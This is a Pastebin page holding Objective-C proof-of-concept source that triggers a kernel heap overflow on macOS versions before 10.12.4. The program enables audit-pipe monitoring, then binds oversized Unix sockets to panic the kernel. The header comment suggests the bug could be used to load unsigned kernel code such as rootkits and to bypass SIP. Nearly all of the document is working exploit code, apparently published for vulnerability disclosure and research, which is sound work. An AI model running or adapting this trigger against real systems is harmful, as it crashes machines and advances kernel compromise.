Advertisement
Guest User

macOS < 10.12.4 trigger for kernel/ring-0 heap overflow

a guest
May 3rd, 2017
761
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.00 KB | None | 0 0
  1. /*
  2.  
  3. triggers kernel heap-overflow on macOS < 10.12.4 (@patrickwardle)
  4.  
  5. details: https://objective-see.com/blog/blog_0x1C.html
  6.  
  7. note: requires r00t, but only to enable auditing as a prerequisite (so if auditing is enabled already, it's an EoP)
  8. ->use to load unsigned code into kernel (load rootkit, bypass SIP, blah blah blah)
  9.  
  10. compile: clang -fobjc-arc -fmodules -lbsm trigger.m -o trigger
  11.  
  12. run: $ sudo ./trigger
  13.  
  14. */
  15.  
  16. #import <sys/un.h>
  17. #import <unistd.h>
  18. #import <pthread.h>
  19. #import <bsm/audit.h>
  20. #import <sys/ioctl.h>
  21. #import <bsm/libbsm.h>
  22. #import <sys/types.h>
  23. #import <sys/socket.h>
  24. #import <Foundation/Foundation.h>
  25. #import <security/audit/audit_ioctl.h>
  26.  
  27. //OS version sierra
  28. #define OS_MINOR_VERSION_SIERRA 12
  29.  
  30. //audit pipe
  31. #define AUDIT_PIPE "/dev/auditpipe"
  32.  
  33. //audit class for proc events
  34. #define AUDIT_CLASS_NETWORK 0x00000100
  35.  
  36. //i'm lazy ;)
  37. #pragma clang diagnostic ignored "-Wdeprecated-declarations"
  38.  
  39. //get OS version
  40. NSDictionary* getOSVersion()
  41. {
  42. //os version info
  43. NSMutableDictionary* osVersionInfo = nil;
  44.  
  45. //major v
  46. SInt32 majorVersion = 0;
  47.  
  48. //minor v
  49. SInt32 minorVersion = 0;
  50.  
  51. //bug fix v
  52. SInt32 fixVersion = 0;
  53.  
  54. //alloc dictionary
  55. osVersionInfo = [NSMutableDictionary dictionary];
  56.  
  57. //get major version
  58. if(0 != Gestalt(gestaltSystemVersionMajor, &majorVersion))
  59. {
  60. //reset
  61. osVersionInfo = nil;
  62.  
  63. //bail
  64. goto bail;
  65. }
  66.  
  67. //get minor version
  68. if(0 != Gestalt(gestaltSystemVersionMinor, &minorVersion))
  69. {
  70. //reset
  71. osVersionInfo = nil;
  72.  
  73. //bail
  74. goto bail;
  75. }
  76.  
  77. //get bug fix version
  78. if(0 != Gestalt(gestaltSystemVersionBugFix, &fixVersion))
  79. {
  80. //reset
  81. osVersionInfo = nil;
  82.  
  83. //bail
  84. goto bail;
  85. }
  86.  
  87. //set major version
  88. osVersionInfo[@"majorVersion"] = [NSNumber numberWithInteger:majorVersion];
  89.  
  90. //set minor version
  91. osVersionInfo[@"minorVersion"] = [NSNumber numberWithInteger:minorVersion];
  92.  
  93. //set bug fix version
  94. osVersionInfo[@"bugfixVersion"] = [NSNumber numberWithInteger:fixVersion];
  95.  
  96. //bail
  97. bail:
  98.  
  99. return osVersionInfo;
  100. }
  101.  
  102. //enable auditing
  103. // ->and then forever, consume audit events
  104. void *enableAuditing(void *ptr)
  105. {
  106. //event mask
  107. u_int eventClasses = AUDIT_CLASS_NETWORK;
  108.  
  109. //file pointer to audit pipe
  110. FILE* auditFile = NULL;
  111.  
  112. //file descriptor for audit pipe
  113. int auditFileDescriptor = -1;
  114.  
  115. //status var
  116. int status = -1;
  117.  
  118. //preselect mode
  119. int mode = -1;
  120.  
  121. //queue length
  122. int maxQueueLength = -1;
  123.  
  124. //record buffer
  125. u_char* recordBuffer = NULL;
  126.  
  127. //token struct
  128. tokenstr_t tokenStruct = {0};
  129.  
  130. //total length of record
  131. int recordLength = -1;
  132.  
  133. //amount of record left to process
  134. int recordBalance = -1;
  135.  
  136. //amount currently processed
  137. int processedLength = -1;
  138.  
  139. //open audit pipe for reading
  140. auditFile = fopen(AUDIT_PIPE, "r");
  141. if(auditFile == NULL)
  142. {
  143. //err msg
  144. printf("\nERROR: failed to open audit pipe %s\n", AUDIT_PIPE);
  145.  
  146. //bail
  147. goto bail;
  148. }
  149.  
  150. //grab file descriptor
  151. auditFileDescriptor = fileno(auditFile);
  152.  
  153. //init mode
  154. mode = AUDITPIPE_PRESELECT_MODE_LOCAL;
  155.  
  156. //set preselect mode
  157. status = ioctl(auditFileDescriptor, AUDITPIPE_SET_PRESELECT_MODE, &mode);
  158. if(-1 == status)
  159. {
  160. //err msg
  161. printf("\nERROR: ioctl('AUDITPIPE_SET_PRESELECT_MODE') failed with %d\n", status);
  162.  
  163. //bail
  164. goto bail;
  165. }
  166.  
  167. //grab max queue length
  168. status = ioctl(auditFileDescriptor, AUDITPIPE_GET_QLIMIT_MAX, &maxQueueLength);
  169. if(-1 == status)
  170. {
  171. //err msg
  172. printf("\nERROR: ioctl('AUDITPIPE_GET_QLIMIT_MAX') failed with %d\n", status);
  173.  
  174. //bail
  175. goto bail;
  176. }
  177.  
  178. //set queue length to max
  179. status = ioctl(auditFileDescriptor, AUDITPIPE_SET_QLIMIT, &maxQueueLength);
  180. if(-1 == status)
  181. {
  182. //err msg
  183. printf("\nERROR: ioctl('AUDITPIPE_SET_QLIMIT') failed with %d\n", status);
  184.  
  185. //bail
  186. goto bail;
  187. }
  188.  
  189. //set preselect flags
  190. // ->event classes we're interested in
  191. status = ioctl(auditFileDescriptor, AUDITPIPE_SET_PRESELECT_FLAGS, &eventClasses);
  192. if(-1 == status)
  193. {
  194. //err msg
  195. printf("\nERROR: ioctl('AUDITPIPE_SET_PRESELECT_FLAGS') failed with %d\n", status);
  196.  
  197. //bail
  198. goto bail;
  199. }
  200.  
  201. //set non-attributable flags
  202. // ->event classes we're interested in
  203. status = ioctl(auditFileDescriptor, AUDITPIPE_SET_PRESELECT_NAFLAGS, &eventClasses);
  204. if(-1 == status)
  205. {
  206. //err msg
  207. printf("\nERROR: ioctl('AUDITPIPE_SET_PRESELECT_NAFLAGS') failed with %d\n", status);
  208.  
  209. //bail
  210. goto bail;
  211. }
  212.  
  213. //dbg msg
  214. printf("\nauditing enabled, now consuming audit events\n");
  215.  
  216. //forever
  217. // ->read/parse/process audit records
  218. while(YES)
  219. {
  220. //free prev buffer
  221. if(NULL != recordBuffer)
  222. {
  223. //free
  224. free(recordBuffer);
  225. recordBuffer = NULL;
  226. }
  227.  
  228. //read a single audit record
  229. // ->note: buffer is allocated by function, so must be freed when done
  230. recordLength = au_read_rec(auditFile, &recordBuffer);
  231. if(-1 == recordLength)
  232. {
  233. //continue
  234. continue;
  235. }
  236.  
  237. //init (remaining) balance to record's total length
  238. recordBalance = recordLength;
  239.  
  240. //init processed length to start (zer0)
  241. processedLength = 0;
  242.  
  243. //parse record
  244. // ->read all tokens/process
  245. while(0 != recordBalance)
  246. {
  247. //extract token
  248. if(-1 == au_fetch_tok(&tokenStruct, recordBuffer + processedLength, recordBalance))
  249. {
  250. //error
  251. // ->skip record
  252. break;
  253. }
  254.  
  255. //add length of current token
  256. processedLength += tokenStruct.len;
  257.  
  258. //subtract lenght of current token
  259. recordBalance -= tokenStruct.len;
  260. }
  261. }
  262.  
  263. //bail
  264. bail:
  265.  
  266. //free buffer
  267. if(NULL != recordBuffer)
  268. {
  269. //free
  270. free(recordBuffer);
  271. recordBuffer = NULL;
  272. }
  273.  
  274. //close audit pipe
  275. if(NULL != auditFile)
  276. {
  277. //close
  278. fclose(auditFile);
  279. auditFile = NULL;
  280. }
  281.  
  282. return NULL;
  283. }
  284.  
  285. //create a bunch of sockets that are > _SS_MAXSIZE (128)
  286. // this will trigger the vulnerable auditing code to be executed
  287. void generateSockets()
  288. {
  289. //make a bunch of sockets
  290. for(int i=0; i<100; i++)
  291. {
  292. //random size [128 - 256]
  293. int size = arc4random_uniform(128)+128;
  294.  
  295. //alloc/set buffer
  296. char* unixSocket = malloc(size);
  297. memset(unixSocket, 0x41, size);
  298.  
  299. //init
  300. ((struct sockaddr_un*)unixSocket)->sun_len = size;
  301. ((struct sockaddr_un*)unixSocket)->sun_family = AF_UNIX;
  302.  
  303. //unlink/bind
  304. // ->this will trigger heap overflow
  305. unlink(((struct sockaddr_un*)socket)->sun_path);
  306. bind(socket(AF_UNIX, SOCK_STREAM, 0), (struct sockaddr *)unixSocket, size);
  307. }
  308.  
  309. return;
  310. }
  311.  
  312. //main interface
  313. // ->check os version/permissions/enable auditing, then trigger
  314. int main(int argc, const char * argv[])
  315. {
  316. //OS version info
  317. NSDictionary* osVersionInfo = nil;
  318.  
  319. //input
  320. char input = 0;
  321.  
  322. //thread
  323. pthread_t thread = NULL;
  324.  
  325. @autoreleasepool
  326. {
  327. //get OS version info
  328. osVersionInfo = getOSVersion();
  329. if(nil == osVersionInfo)
  330. {
  331. //err msg
  332. printf("\nERROR: failed to determine OS version\n\n");
  333.  
  334. //bail
  335. goto bail;
  336.  
  337. }
  338.  
  339. //bug fixed in OS X 10.12.4+
  340. if( ([osVersionInfo[@"minorVersion"] intValue] == OS_MINOR_VERSION_SIERRA) &&
  341. ([osVersionInfo[@"bugfixVersion"] intValue] >= 4))
  342. {
  343. //err msg
  344. printf("\nERROR: OSX/macOS %d.%d.%d is not vulnerable\n\n", [osVersionInfo[@"majorVersion"] intValue], [osVersionInfo[@"minorVersion"] intValue], [osVersionInfo[@"bugfixVersion"] intValue]);
  345.  
  346. //bail
  347. goto bail;
  348. }
  349.  
  350. //gotta be root
  351. // ->but only to enable auditing
  352. if(0 != geteuid())
  353. {
  354. //err msg
  355. printf("\nERROR: requires r00t (to enable auditing)\n\n");
  356.  
  357. //bail
  358. goto bail;
  359. }
  360.  
  361. //ask user
  362. printf("\nWARNING: this will panic your box!\ncontinue? ('y'/'n'): ");
  363.  
  364. //get response
  365. input = getc(stdin);
  366. if('y' != input)
  367. {
  368. //err msg
  369. printf("\nok, goodbye!\n\n");
  370.  
  371. //bail
  372. goto bail;
  373. }
  374.  
  375. //dbg msg
  376. printf("\nenabling auditing...\n");
  377.  
  378. //spawn thread to enable/begin auditing
  379. if(0 != pthread_create(&thread, NULL, enableAuditing, (void*)NULL))
  380. {
  381. //err msg
  382. printf("\nERROR: failed to create 'auditing' thread (%d)\n\n", errno);
  383.  
  384. //bail
  385. goto bail;
  386. }
  387.  
  388. //dbg msg
  389. printf("\ngenerating 'evil' sockets\n");
  390.  
  391. //create sockets
  392. // ->this will trigger kernel heap overflow on macOS < 10.12.4 (panic)
  393. generateSockets();
  394.  
  395. //dbg msg
  396. printf("\nall done - trigger failed!?\n\n");
  397. }
  398.  
  399. //bail
  400. bail:
  401.  
  402. return 0;
  403. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement